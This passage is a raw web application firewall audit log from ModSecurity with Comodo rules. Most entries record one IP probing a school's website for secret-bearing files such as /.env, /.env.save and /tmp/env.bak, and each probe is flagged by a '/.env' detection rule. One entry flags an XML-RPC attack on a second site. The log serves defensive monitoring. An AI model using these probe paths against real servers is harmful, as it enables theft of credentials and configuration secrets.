"CWAF"] [tag "Generic"] [hostname "www.mindscan.edu.in"] [uri "/:10000/temp/.env"] [unique_id "aE8xJM0RsCO0eBtdhx6-zAAAAAg"] Apache-Handler: proxy:unix:/var/www/vhosts/system/mindscan.edu.in/php-fpm.sock|fcgi://127.0.0.1:9000 Stopwatch: 1750020388617714 662811 (- - -) Stopwatch2: 1750020388617714 662811; combined=1658, p1=370, p2=1179, p3=0, p4=0, p5=109, sr=91, sw=0, l=0, gc=0 Producer: ModSecurity for Apache/2.9.8 (http://www.modsecurity.org/); CWAF_Apache. Server: Apache Engine-Mode: "DETECTION_ONLY" --8dc2fd24-Z-- --d5c0552c-A-- [16/Jun/2025:02:16:43.653053 +0530] aE8xMkaRoH9PZO5fwRnipAAAAAw 185.177.72.210 36470 127.0.0.1 7081 --d5c0552c-B-- GET /:8008/.env.back HTTP/1.0 Host: www.mindscan.edu.in X-Real-IP: 185.177.72.210 X-Accel-Internal: /internal-nginx-static-location Connection: close User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.124 Safari/537.36 Accept-Encoding: gzip --d5c0552c-F-- HTTP/1.1 404 Not Found X-Powered-By: PHP/8.3.22 Expires: Wed, 11 Jan 1984 05:00:00 GMT Cache-Control: no-cache, must-revalidate, max-age=0 Link: <https://www.mindscan.edu.in/wp-json/>; rel="https://api.w.org/" Set-Cookie: _sfs_id=f1dd12e87c9c190c7a475b20d9add41e1750020403; expires=Sun, 15 Jun 2025 21:46:43 GMT; Max-Age=3600; path=/; secure; HttpOnly Connection: close Content-Type: text/html; charset=UTF-8 --d5c0552c-H-- Message: Warning. Matched phrase "/.env" at REQUEST_URI. [file "/etc/apache2/modsecurity.d/rules/comodo_free/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] Apache-Error: [file "apache2_util.c"] [line 288] [level 3] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_URI. [file "/etc/apache2/modsecurity.d/rules/comodo_free/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "www.mindscan.edu.in"] [uri "/:8008/.env.back"] [unique_id "aE8xMkaRoH9PZO5fwRnipAAAAAw"] Apache-Handler: proxy:unix:/var/www/vhosts/system/mindscan.edu.in/php-fpm.sock|fcgi://127.0.0.1:9000 Stopwatch: 1750020402996451 656665 (- - -) Stopwatch2: 1750020402996451 656665; combined=1862, p1=366, p2=1393, p3=0, p4=0, p5=102, sr=93, sw=1, l=0, gc=0 Producer: ModSecurity for Apache/2.9.8 (http://www.modsecurity.org/); CWAF_Apache. Server: Apache Engine-Mode: "DETECTION_ONLY" --d5c0552c-Z-- --76188f64-A-- [16/Jun/2025:02:16:45.671018 +0530] aE8xNU-pZ3B--SoGku84DgAAABE 185.177.72.210 36542 127.0.0.1 7081 --76188f64-B-- GET /:8443/bootstrap/.env HTTP/1.0 Host: www.mindscan.edu.in X-Real-IP: 185.177.72.210 X-Accel-Internal: /internal-nginx-static-location Connection: close User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.124 Safari/537.36 Accept-Encoding: gzip --76188f64-F-- HTTP/1.1 404 Not Found X-Powered-By: PHP/8.3.22 Expires: Wed, 11 Jan 1984 05:00:00 GMT Cache-Control: no-cache, must-revalidate, max-age=0 Link: <https://www.mindscan.edu.in/wp-json/>; rel="https://api.w.org/" Set-Cookie: _sfs_id=860ee852d9553d74f88835d35549d1171750020405; expires=Sun, 15 Jun 2025 21:46:45 GMT; Max-Age=3600; path=/; secure; HttpOnly Connection: close Content-Type: text/html; charset=UTF-8 --76188f64-H-- Message: Warning. Matched phrase "/.env" at REQUEST_URI. [file "/etc/apache2/modsecurity.d/rules/comodo_free/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] Apache-Error: [file "apache2_util.c"] [line 288] [level 3] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_URI. [file "/etc/apache2/modsecurity.d/rules/comodo_free/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "www.mindscan.edu.in"] [uri "/:8443/bootstrap/.env"] [unique_id "aE8xNU-pZ3B--SoGku84DgAAABE"] Apache-Handler: proxy:unix:/var/www/vhosts/system/mindscan.edu.in/php-fpm.sock|fcgi://127.0.0.1:9000 Stopwatch: 1750020405000288 670806 (- - -) Stopwatch2: 1750020405000288 670806; combined=2152, p1=471, p2=1557, p3=0, p4=0, p5=123, sr=101, sw=1, l=0, gc=0 Producer: ModSecurity for Apache/2.9.8 (http://www.modsecurity.org/); CWAF_Apache. Server: Apache Engine-Mode: "DETECTION_ONLY" --76188f64-Z-- --909ab17c-A-- [16/Jun/2025:02:16:46.312498 +0530] aE8xNTW73rwPI0SU-ijuXQAAAAA 128.199.112.101 36558 127.0.0.1 7081 --909ab17c-B-- POST //xmlrpc.php HTTP/1.0 Host: best-website-designs.com X-Real-IP: 128.199.112.101 X-Accel-Internal: /internal-nginx-static-location Connection: close Content-Length: 494 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/95.0.4638.69 Safari/537.36 Content-Type: application/xml --909ab17c-F-- HTTP/1.1 200 OK X-Powered-By: PHP/8.3.22 Connection: close Vary: Accept-Encoding Content-Type: text/xml; charset=UTF-8 --909ab17c-H-- Message: Warning. Operator EQ matched 0 at IP. [file "/etc/apache2/modsecurity.d/rules/comodo_free/30_Apps_OtherApps.conf"] [line "5956"] [id "240335"] [rev "5"] [msg "COMODO WAF: XML-RPC Attack Identified (CVE-2013-0235)|Source 128.199.112.101 (51+1 hits since last alert)|best-website-designs.com|F|2"] [severity "CRITICAL"] [tag "CWAF"] [tag "OtherApps"] Apache-Error: [file "apache2_util.c"] [line 288] [level 3] ModSecurity: Warning. Operator EQ matched 0 at IP. [file "/etc/apache2/modsecurity.d/rules/comodo_free/30_Apps_OtherApps.conf"] [line "5956"] [id "240335"] [rev "5"] [msg "COMODO WAF: XML-RPC Attack Identified (CVE-2013-0235)|Source 128.199.112.101 (51+1 hits since last alert)|best-website-designs.com|F|2"] [severity "CRITICAL"] [tag "CWAF"] [tag "OtherApps"] [hostname "best-website-designs.com"] [uri "/xmlrpc.php"] [unique_id "aE8xNTW73rwPI0SU-ijuXQAAAAA"] Apache-Handler: proxy:unix:/var/www/vhosts/system/best-website-designs.com/php-fpm.sock|fcgi://127.0.0.1:9000 Stopwatch: 1750020405383952 928601 (- - -) Stopwatch2: 1750020405383952 928601; combined=2367, p1=395, p2=1553, p3=42, p4=63, p5=190, sr=99, sw=124, l=0, gc=0 Producer: ModSecurity for Apache/2.9.8 (http://www.modsecurity.org/); CWAF_Apache. Server: Apache Engine-Mode: "DETECTION_ONLY" --909ab17c-Z-- --e7719e69-A-- [16/Jun/2025:02:16:49.735139 +0530] aE8xOUaRoH9PZO5fwRnipgAAAAw 185.177.72.210 36652 127.0.0.1 7081 --e7719e69-B-- GET /shared/.env HTTP/1.0 Host: www.mindscan.edu.in X-Real-IP: 185.177.72.210 X-Accel-Internal: /internal-nginx-static-location Connection: close User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.124 Safari/537.36 Accept-Encoding: gzip --e7719e69-F-- HTTP/1.1 404 Not Found X-Powered-By: PHP/8.3.22 Expires: Wed, 11 Jan 1984 05:00:00 GMT Cache-Control: no-cache, must-revalidate, max-age=0 Link: <https://www.mindscan.edu.in/wp-json/>; rel="https://api.w.org/" Set-Cookie: _sfs_id=2c91b9f03ebcc8c9f23337f78abac28f1750020409; expires=Sun, 15 Jun 2025 21:46:49 GMT; Max-Age=3600; path=/; secure; HttpOnly Connection: close Content-Type: text/html; charset=UTF-8 --e7719e69-H-- Message: Warning. Matched phrase "/.env" at REQUEST_URI. [file "/etc/apache2/modsecurity.d/rules/comodo_free/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] Apache-Error: [file "apache2_util.c"] [line 288] [level 3] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_URI. [file "/etc/apache2/modsecurity.d/rules/comodo_free/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "www.mindscan.edu.in"] [uri "/shared/.env"] [unique_id "aE8xOUaRoH9PZO5fwRnipgAAAAw"] Apache-Handler: proxy:unix:/var/www/vhosts/system/mindscan.edu.in/php-fpm.sock|fcgi://127.0.0.1:9000 Stopwatch: 1750020409075399 659802 (- - -) Stopwatch2: 1750020409075399 659802; combined=1874, p1=374, p2=1406, p3=0, p4=0, p5=93, sr=92, sw=1, l=0, gc=0 Producer: ModSecurity for Apache/2.9.8 (http://www.modsecurity.org/); CWAF_Apache. Server: Apache Engine-Mode: "DETECTION_ONLY" --e7719e69-Z-- --d3e6c90b-A-- [16/Jun/2025:02:17:04.180818 +0530] aE8xRzW73rwPI0SU-ijuYwAAAAA 185.177.72.210 45974 127.0.0.1 7081 --d3e6c90b-B-- GET /config/.env.example HTTP/1.0 Host: www.mindscan.edu.in X-Real-IP: 185.177.72.210 X-Accel-Internal: /internal-nginx-static-location Connection: close User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.124 Safari/537.36 Accept-Encoding: gzip --d3e6c90b-F-- HTTP/1.1 404 Not Found X-Powered-By: PHP/8.3.22 Expires: Wed, 11 Jan 1984 05:00:00 GMT Cache-Control: no-cache, must-revalidate, max-age=0 Link: <https://www.mindscan.edu.in/wp-json/>; rel="https://api.w.org/" Set-Cookie: _sfs_id=616d67437eb216ea20dac4dc0f28aa401750020424; expires=Sun, 15 Jun 2025 21:47:04 GMT; Max-Age=3600; path=/; secure; HttpOnly Connection: close Content-Type: text/html; charset=UTF-8 --d3e6c90b-H-- Message: Warning. Matched phrase "/.env" at REQUEST_URI. [file "/etc/apache2/modsecurity.d/rules/comodo_free/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] Apache-Error: [file "apache2_util.c"] [line 288] [level 3] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_URI. [file "/etc/apache2/modsecurity.d/rules/comodo_free/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "www.mindscan.edu.in"] [uri "/config/.env.example"] [unique_id "aE8xRzW73rwPI0SU-ijuYwAAAAA"] Apache-Handler: proxy:unix:/var/www/vhosts/system/mindscan.edu.in/php-fpm.sock|fcgi://127.0.0.1:9000 Stopwatch: 1750020423515426 665479 (- - -) Stopwatch2: 1750020423515426 665479; combined=1977, p1=448, p2=1403, p3=0, p4=0, p5=126, sr=122, sw=0, l=0, gc=0 Producer: ModSecurity for Apache/2.9.8 (http://www.modsecurity.org/); CWAF_Apache. Server: Apache Engine-Mode: "DETECTION_ONLY" --d3e6c90b-Z-- --e442572a-A-- [16/Jun/2025:02:17:16.190013 +0530] aE8xU80RsCO0eBtdhx6-3QAAAAg 185.177.72.210 42614 127.0.0.1 7081 --e442572a-B-- GET /css/.env HTTP/1.0 Host: www.mindscan.edu.in X-Real-IP: 185.177.72.210 X-Accel-Internal: /internal-nginx-static-location Connection: close User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.124 Safari/537.36 Accept-Encoding: gzip --e442572a-F-- HTTP/1.1 404 Not Found X-Powered-By: PHP/8.3.22 Expires: Wed, 11 Jan 1984 05:00:00 GMT Cache-Control: no-cache, must-revalidate, max-age=0 Link: <https://www.mindscan.edu.in/wp-json/>; rel="https://api.w.org/" Set-Cookie: _sfs_id=334ca6ddd95f0124d6464131a3c5b2541750020436; expires=Sun, 15 Jun 2025 21:47:16 GMT; Max-Age=3600; path=/; secure; HttpOnly Connection: close Content-Type: text/html; charset=UTF-8 --e442572a-H-- Message: Warning. Matched phrase "/.env" at REQUEST_URI. [file "/etc/apache2/modsecurity.d/rules/comodo_free/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] Apache-Error: [file "apache2_util.c"] [line 288] [level 3] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_URI. [file "/etc/apache2/modsecurity.d/rules/comodo_free/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "www.mindscan.edu.in"] [uri "/css/.env"] [unique_id "aE8xU80RsCO0eBtdhx6-3QAAAAg"] Apache-Handler: proxy:unix:/var/www/vhosts/system/mindscan.edu.in/php-fpm.sock|fcgi://127.0.0.1:9000 Stopwatch: 1750020435532125 657952 (- - -) Stopwatch2: 1750020435532125 657952; combined=2021, p1=421, p2=1479, p3=0, p4=0, p5=121, sr=139, sw=0, l=0, gc=0 Producer: ModSecurity for Apache/2.9.8 (http://www.modsecurity.org/); CWAF_Apache. Server: Apache Engine-Mode: "DETECTION_ONLY" --e442572a-Z-- --d4708b3d-A-- [16/Jun/2025:02:17:17.191830 +0530] aE8xVCHEjD4mqWjYVm13ggAAABM 185.177.72.210 42640 127.0.0.1 7081 --d4708b3d-B-- GET /tmp/env.bak HTTP/1.0 Host: www.mindscan.edu.in X-Real-IP: 185.177.72.210 X-Accel-Internal: /internal-nginx-static-location Connection: close User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.124 Safari/537.36 Accept-Encoding: gzip --d4708b3d-F-- HTTP/1.1 404 Not Found X-Powered-By: PHP/8.3.22 Expires: Wed, 11 Jan 1984 05:00:00 GMT Cache-Control: no-cache, must-revalidate, max-age=0 Link: <https://www.mindscan.edu.in/wp-json/>; rel="https://api.w.org/" Set-Cookie: _sfs_id=e5df4419bf8e7457e5aaff848a84ff131750020437; expires=Sun, 15 Jun 2025 21:47:17 GMT; Max-Age=3600; path=/; secure; HttpOnly Connection: close Content-Type: text/html; charset=UTF-8 --d4708b3d-H-- Message: Warning. Match of "pmFromFile userdata_wl_extensions" against "TX:extension" required. [file "/etc/apache2/modsecurity.d/rules/comodo_free/10_HTTP_HTTP.conf"] [line "27"] [id "210730"] [rev "5"] [msg "COMODO WAF: URL file extension is restricted by policy||www.mindscan.edu.in|F|2"] [data ".bak"] [severity "CRITICAL"] [tag "CWAF"] [tag "HTTP"] Apache-Error: [file "apache2_util.c"] [line 288] [level 3] ModSecurity: Warning. Match of "pmFromFile userdata_wl_extensions" against "TX:extension" required. [file "/etc/apache2/modsecurity.d/rules/comodo_free/10_HTTP_HTTP.conf"] [line "27"] [id "210730"] [rev "5"] [msg "COMODO WAF: URL file extension is restricted by policy||www.mindscan.edu.in|F|2"] [data ".bak"] [severity "CRITICAL"] [tag "CWAF"] [tag "HTTP"] [hostname "www.mindscan.edu.in"] [uri "/tmp/env.bak"] [unique_id "aE8xVCHEjD4mqWjYVm13ggAAABM"] Apache-Handler: proxy:unix:/var/www/vhosts/system/mindscan.edu.in/php-fpm.sock|fcgi://127.0.0.1:9000 Stopwatch: 1750020436510654 681256 (- - -) Stopwatch2: 1750020436510654 681256; combined=1972, p1=431, p2=1448, p3=0, p4=0, p5=92, sr=133, sw=1, l=0, gc=0 Producer: ModSecurity for Apache/2.9.8 (http://www.modsecurity.org/); CWAF_Apache. Server: Apache Engine-Mode: "DETECTION_ONLY" --d4708b3d-Z-- --c2659f11-A-- [16/Jun/2025:02:17:19.188686 +0530] aE8xVkaRoH9PZO5fwRnisgAAAAw 185.177.72.210 42708 127.0.0.1 7081 --c2659f11-B-- GET /.env.save HTTP/1.0 Host: www.mindscan.edu.in X-Real-IP: 185.177.72.210 X-Accel-Internal: /internal-nginx-static-location Connection: close User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.124 Safari/537.36 Accept-Encoding: gzip --c2659f11-F-- HTTP/1.1 404 Not Found X-Powered-By: PHP/8.3.22 Expires: Wed, 11 Jan 1984 05:00:00 GMT Cache-Control: no-cache, must-revalidate, max-age=0 Link: <https://www.mindscan.edu.in/wp-json/>; rel="https://api.w.org/" Set-Cookie: _sfs_id=a6e9c4ed6edf7330304651caf57688001750020439; expires=Sun, 15 Jun 2025 21:47:19 GMT; Max-Age=3600; path=/; secure; HttpOnly Connection: close Content-Type: text/html; charset=UTF-8 --c2659f11-H-- Message: Warning. Matched phrase "/.env" at REQUEST_URI. [file "/etc/apache2/modsecurity.d/rules/comodo_free/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] Apache-Error: [file "apache2_util.c"] [line 288] [level 3] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_URI. [file "/etc/apache2/modsecurity.d/rules/comodo_free/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "www.mindscan.edu.in"] [uri "/.env.save"] [unique_id "aE8xVkaRoH9PZO5fwRnisgAAAAw"] Apache-Handler: proxy:unix:/var/www/vhosts/system/mindscan.edu.in/php-fpm.sock|fcgi://127.0.0.1:9000 Stopwatch: 1750020438524987 663762 (- - -) Stopwatch2: 1750020438524987 663762; combined=1996, p1=388, p2=1515, p3=0, p4=0, p5=92, sr=96, sw=1, l=0, gc=0 Producer: ModSecurity for Apache/2.9.8 (http://www.modsecurity.org/); CWAF_Apache. Server: Apache Engine-Mode: "DETECTION_ONLY" --c2659f11-Z-- --8af08070-A-- [16/Jun/2025:02:17:20.185615 +0530] aE8xV4l8S04UZ4l67-nYaQAAAAk 185.177.72.210 47276 127.0.0.1 7081 --8af08070-B-- GET /:8181/project/.env HTTP/1.0 Host: www.mindscan.edu.in X-Real-IP: 185.177.72.210 X-Accel-Internal: /internal-nginx-static-location Connection: close User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.124 Safari/537.36 Accept-Encoding: gzip --8af08070-F-- HTTP/1.1 404 Not Found X-Powered-By: PHP/8.3.22 Expires: Wed, 11 Jan 1984 05:00:00 GMT Cache-Control: no-cache, must-revalidate, max-age=0 Link: <https://www.mindscan.edu.in/wp-json/>; rel="https://api.w.org/" Set-Cookie: _sfs_id=e82193e34cb95c1716cc876b59fed1821750020440; expires=Sun, 15 Jun 2025 21:47:20 GMT; Max-Age=3600; path=/; secure; HttpOnly Connection: close Content-Type: text/html; charset=UTF-8 --8af08070-H-- Message: Warning. Matched phrase "/.env" at REQUEST_URI. [file "/etc/apache2/modsecurity.d/rules/comodo_free/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] Apache-Error: [file "apache2_util.c"] [line 288] [level 3] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_URI. [file "/etc/apache2/modsecurity.d/rules/comodo_free/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "www.mindscan.edu.in"] [uri "/:8181/project/.env"] [unique_id "aE8xV4l8S04UZ4l67-nYaQAAAAk"] Apache-Handler: proxy:unix:/var/www/vhosts/system/mindscan.edu.in/php-fpm.sock|fcgi://127.0.0.1:9000 Stopwatch: 1750020439510398 675291 (- - -) Stopwatch2: 1750020439510398 675291; combined=2012, p1=432, p2=1477, p3=0, p4=0, p5=103, sr=107, sw=0, l=0, gc=0 Producer: ModSecurity for Apache/2.9.8 (http://www.modsecurity.org/); CWAF_Apache. Server: Apache Engine-Mode: "DETECTION_ONLY" --8af08070-Z-- --0fcd4828-A-- [16/Jun/2025:02:17:28.379070 +0530] aE8xX2BSQiWwwCa-v2QCPgAAAAQ 185.177.72.210 47602 127.0.0.1 7081 --0fcd4828-B-- GET /:8080/app/.env HTTP/1.0 Host: www.mindscan.edu.in X-Real-IP: 185.177.72.210 X-Accel-Internal: /internal-nginx-static-location Connection: close User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.124 Safari/537.36 Accept-Encoding: gzip --0fcd4828-F-- HTTP/1.1 404 Not Found X-Powered-By: PHP/8.3.22 Expires: Wed, 11 Jan 1984 05:00:00 GMT Cache-Control: no-cache, must-revalidate, max-age=0 Link: <https://www.mindscan.edu.in/wp-json/>; rel="https://api.w.org/" Set-Cookie: _sfs_id=ec63b458d25bb3bff5c83b04e3b358241750020448; expires=Sun, 15 Jun 2025 21:47:28 GMT; Max-Age=3600; path=/; secure; HttpOnly Connection: close Content-Type: text/html; charset=UTF-8 --0fcd4828-H-- Message: Warning. Matched phrase "/.env" at REQUEST_URI. [file "/etc/apache2/modsecurity.d/rules/comodo_free/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] Apache-Error: [file "apache2_util.c"] [line 288] [level 3] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_URI. [file "/etc/apache2/modsecurity.d/rules/comodo_free/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "www.mindscan.edu.in"] [uri "/:8080/app/.env"] [unique_id "aE8xX2BSQiWwwCa-v2QCPgAAAAQ"] Apache-Handler: proxy:unix:/var/www/vhosts/system/mindscan.edu.in/php-fpm.sock|fcgi://127.0.0.1:9000 Stopwatch: 1750020447703620 675515 (- - -) Stopwatch2: 1750020447703620 675515; combined=1663, p1=364, p2=1198, p3=0, p4=0, p5=100, sr=97, sw=1, l=0, gc=0 Producer: ModSecurity for Apache/2.9.8 (http://www.modsecurity.org/); CWAF_Apache. Server: Apache Engine-Mode: "DETECTION_ONLY" --0fcd4828-Z-- --0a3fbe00-A-- [16/Jun/2025:02:17:31.530488 +0530] aE8xYiHEjD4mqWjYVm13iQAAABM 185.177.72.210 54364 127.0.0.1 7081 --0a3fbe00-B-- GET /:8880/env/.env HTTP/1.0 Host: www.mindscan.edu.in X-Real-IP: 185.177.72.210 X-Accel-Internal: /internal-nginx-static-location Connection: close User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.124 Safari/537.36 Accept-Encoding: gzip --0a3fbe00-F-- HTTP/1.1 404 Not Found X-Powered-By: PHP/8.3.22 Expires: Wed, 11 Jan 1984 05:00:00 GMT Cache-Control: no-cache, must-revalidate, max-age=0 Link: <https://www.mindscan.edu.in/wp-json/>; rel="https://api.w.org/" Set-Cookie: _sfs_id=374b2d19bc0524da03bffda8a8d091031750020451; expires=Sun, 15 Jun 2025 21:47:31 GMT; Max-Age=3600; path=/; secure; HttpOnly Connection: close Content-Type: text/html; charset=UTF-8 --0a3fbe00-H-- Message: Warning. Matched phrase "/.env" at REQUEST_URI. [file "/etc/apache2/modsecurity.d/rules/comodo_free/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] Apache-Error: [file "apache2_util.c"] [line 288] [level 3] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_URI. [file "/etc/apache2/modsecurity.d/rules/comodo_free/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "www.mindscan.edu.in"] [uri "/:8880/env/.env"] [unique_id "aE8xYiHEjD4mqWjYVm13iQAAABM"] Apache-Handler: proxy:unix:/var/www/vhosts/system/mindscan.edu.in/php-fpm.sock|fcgi://127.0.0.1:9000 Stopwatch: 1750020450875286 655275 (- - -) Stopwatch2: 1750020450875286 655275; combined=1984, p1=400, p2=1490, p3=0, p4=0, p5=94, sr=103, sw=0, l=0, gc=0 Producer: ModSecurity for Apache/2.9.8 (http://www.modsecurity.org/); CWAF_Apache. Server: Apache Engine-Mode: "DETECTION_ONLY" --0a3fbe00-Z-- --c2b61949-A-- [16/Jun/2025:02:17:36.300075 +0530] aE8xZ4v0YhcYGG7mzIpltgAAABU 185.177.72.210 54508 127.0.0.1 7081 --c2b61949-B-- GET /lemonldap-ng-fr-doc/.env HTTP/1.0 Host: www.mindscan.edu.in X-Real-IP: 185.177.72.210 X-Accel-Internal: /internal-nginx-static-location Connection: close User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.124 Safari/537.36 Accept-Encoding: gzip --c2b61949-F-- HTTP/1.1 404 Not Found X-Powered-By: PHP/8.3.22 Expires: Wed, 11 Jan 1984 05:00:00 GMT Cache-Control: no-cache, must-revalidate, max-age=0 Link: <https://www.mindscan.edu.in/wp-json/>; rel="https://api.w.org/" Set-Cookie: _sfs_id=4b8bc92a7c8cb27228ecb3c4a2d75f241750020456; expires=Sun, 15 Jun 2025 21:47:36 GMT; Max-Age=3600; path=/; secure; HttpOnly Connection: close Content-Type: text/html; charset=UTF-8 --c2b61949-H-- Message: Warning. Matched phrase "/.env" at REQUEST_URI. [file "/etc/apache2/modsecurity.d/rules/comodo_free/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] Apache-Error: [file "apache2_util.c"] [line 288] [level 3] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_URI. [file "/etc/apache2/modsecurity.d/rules/comodo_free/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "www.mindscan.edu.in"] [uri "/lemonldap-ng-fr-doc/.env"] [unique_id "aE8xZ4v0YhcYGG7mzIpltgAAABU"] Apache-Handler: proxy:unix:/var/www/vhosts/system/mindscan.edu.in/php-fpm.sock|fcgi://127.0.0.1:9000 Stopwatch: 1750020455632320 667817 (- - -) Stopwatch2: 1750020455632320 667817; combined=1627, p1=373, p2=1164, p3=0, p4=0, p5=89, sr=103, sw=1, l=0, gc=0 Producer: ModSecurity for Apache/2.9.8 (http://www.modsecurity.org/); CWAF_Apache. Server: Apache Engine-Mode: "DETECTION_ONLY" --c2b61949-Z-- --d7406e45-A-- [16/Jun/2025:02:17:39.244537 +0530] aE8xajW73rwPI0SU-ijucgAAAAA 185.177.72.210 54602 127.0.0.1 7081 --d7406e45-B-- GET /:8443/mail/.env HTTP/1.0 Host: www.mindscan.edu.in X-Real-IP: 185.177.72.210 X-Accel-Internal: /internal-nginx-static-location Connection: close User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.124 Safari/537.36 Accept-Encoding: gzip --d7406e45-F-- HTTP/1.1 404 Not Found X-Powered-By: PHP/8.3.22 Expires: Wed, 11 Jan 1984 05:00:00 GMT Cache-Control: no-cache, must-revalidate, max-age=0 Link: <https://www.mindscan.edu.in/wp-json/>; rel="https://api.w.org/" Set-Cookie: _sfs_id=8b33a88f6bbfa3b607d276ef02df7ccc1750020459; expires=Sun, 15 Jun 2025 21:47:39 GMT; Max-Age=3600; path=/; secure; HttpOnly Connection: close Content-Type: text/html; charset=UTF-8 --d7406e45-H-- Message: Warning. Matched phrase "/.env" at REQUEST_URI. [file "/etc/apache2/modsecurity.d/rules/comodo_free/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] Apache-Error: [file "apache2_util.c"] [line 288] [level 3] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_URI. [file "/etc/apache2/modsecurity.d/rules/comodo_free/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "www.mindscan.edu.in"] [uri "/:8443/mail/.env"] [unique_id "aE8xajW73rwPI0SU-ijucgAAAAA"] Apache-Handler: proxy:unix:/var/www/vhosts/system/mindscan.edu.in/php-fpm.sock|fcgi://127.0.0.1:9000 Stopwatch: 1750020458576172 668460 (- - -) Stopwatch2: 1750020458576172 668460; combined=1741, p1=412, p2=1188, p3=0, p4=0, p5=140, sr=102, sw=1, l=0, gc=0 Producer: ModSecurity for Apache/2.9.8 (http://www.modsecurity.org/); CWAF_Apache. Server: Apache Engine-Mode: "DETECTION_ONLY" --d7406e45-Z-- --c7f3f95e-A-- [16/Jun/2025:02:17:40.254389 +0530] aE8xa0aRoH9PZO5fwRnivAAAAAw 185.177.72.210 59330 127.0.0.1 7081 --c7f3f95e-B-- GET /:5601/courrier/.env HTTP/1.0 Host: www.mindscan.edu.in X-Real-IP: 185.177.72.210 X-Accel-Internal: /internal-nginx-static-location Connection: close User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.124 Safari/537.36 Accept-Encoding: gzip --c7f3f95e-F-- HTTP/1.1 404 Not Found X-Powered-By: PHP/8.3.22 Expires: Wed, 11 Jan 1984 05:00:00 GMT Cache-Control: 